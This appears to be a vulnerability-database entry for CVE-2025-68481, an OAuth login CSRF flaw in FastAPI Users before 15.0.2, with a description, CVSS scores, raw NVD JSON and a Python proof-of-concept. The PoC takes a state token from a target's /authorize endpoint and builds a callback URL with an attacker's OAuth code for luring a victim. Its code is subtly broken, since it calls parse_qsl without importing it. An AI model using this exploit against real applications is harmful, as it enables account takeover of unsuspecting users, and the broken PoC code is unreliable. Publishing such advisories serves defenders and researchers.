Security Vulnerability Report
中文
CVE-2025-68481 CVSS 5.9 MEDIUM

CVE-2025-68481

Published: 2025-12-19 21:15:55
Last Modified: 2026-03-05 19:14:17

Description

FastAPI Users allows users to quickly add a registration and authentication system to their FastAPI project. Prior to version 15.0.2, the OAuth login state tokens are completely stateless and carry no per-request entropy or any data that could link them to the session that initiated the OAuth flow. `generate_state_token()` is always called with an empty `state_data` dict, so the resulting JWT only contains the fixed audience claim plus an expiration timestamp. On callback, the library merely checks that the JWT verifies under `state_secret` and is unexpired; there is no attempt to match the state value to the browser that initiated the OAuth request, no correlation cookie, and no server-side cache. Any attacker can hit `/authorize`, capture the server-generated state, finish the upstream OAuth flow with their own provider account, and then trick a victim into loading `.../callback?code=<attacker_code>&state=<attacker_state>`. Because the state JWT is valid for any client for \~1 hour, the victim’s browser will complete the flow. This leads to login CSRF. Depending on the app’s logic, the login CSRF can lead to an account takeover of the victim account or to the victim user getting logged in to the attacker's account. Version 15.0.2 contains a patch for the issue.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fastapi-users_project:fastapi_users:*:*:*:*:*:python:*:* - VULNERABLE
FastAPI Users < 15.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68481 PoC - FastAPI Users OAuth Login CSRF Note: This PoC is for educational and authorized testing purposes only. """ import requests import time from urllib.parse import urlparse TARGET_URL = "https://vulnerable-app.com" ATTACKER_OAUTH_CODE = "attacker_github_code_xxx" def exploit_oauth_csrf(): """ Step 1: Obtain a valid state token from the vulnerable application """ authorize_url = f"{TARGET_URL}/authorize?provider=github&redirect_uri=/callback" # The server will respond with a redirect containing the state parameter # Extract the state token from the Location header or query parameters response = requests.get(authorize_url, allow_redirects=False) if response.status_code in [302, 303]: redirect_url = response.headers.get('Location', '') parsed = urlparse(redirect_url) state_token = dict(parse_qsl(parsed.query)).get('state') print(f"[+] Obtained state token: {state_token}") """ Step 2: Craft the malicious callback URL """ malicious_callback = ( f"{TARGET_URL}/callback?" f"code={ATTACKER_OAUTH_CODE}" f"&state={state_token}" ) print(f"[!] Malicious callback URL: {malicious_callback}") print("[*] Induce victim to visit this URL via social engineering") return malicious_callback def main(): print("=" * 60) print("CVE-2025-68481 FastAPI Users OAuth Login CSRF PoC") print("=" * 60) exploit_oauth_csrf() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68481", "sourceIdentifier": "[email protected]", "published": "2025-12-19T21:15:54.823", "lastModified": "2026-03-05T19:14:16.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastAPI Users allows users to quickly add a registration and authentication system to their FastAPI project. Prior to version 15.0.2, the OAuth login state tokens are completely stateless and carry no per-request entropy or any data that could link them to the session that initiated the OAuth flow. `generate_state_token()` is always called with an empty `state_data` dict, so the resulting JWT only contains the fixed audience claim plus an expiration timestamp. On callback, the library merely checks that the JWT verifies under `state_secret` and is unexpired; there is no attempt to match the state value to the browser that initiated the OAuth request, no correlation cookie, and no server-side cache. Any attacker can hit `/authorize`, capture the server-generated state, finish the upstream OAuth flow with their own provider account, and then trick a victim into loading `.../callback?code=<attacker_code>&state=<attacker_state>`. Because the state JWT is valid for any client for \\~1 hour, the victim’s browser will complete the flow. This leads to login CSRF. Depending on the app’s logic, the login CSRF can lead to an account takeover of the victim account or to the victim user getting logged in to the attacker's account. Version 15.0.2 contains a patch for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastapi-users_project:fastapi_users:*:*:*:*:*:python:*:*", "versionEndExcluding": "15.0.2", "matchCriteriaId": "DF422B5A-1DB6-4A93-959D-6D6CA728DCBC"}]}]}], "references": [{"url": "https://github.com/fastapi-users/fastapi-users/blob/bcee8c9b884de31decb5d799aead3974a0b5b158/fastapi_users/router/oauth.py#L111", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/fastapi-users/fastapi-users/blob/bcee8c9b884de31decb5d799aead3974a0b5b158/fastapi_users/router/oauth.py#L57", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/fastapi-users/fastapi-users/commit/7cf413cd766b9cb0ab323ce424ddab2c0d235932", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/fastapi-users/fastapi-users/security/advisories/GHSA-5j53-63w8-8625", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}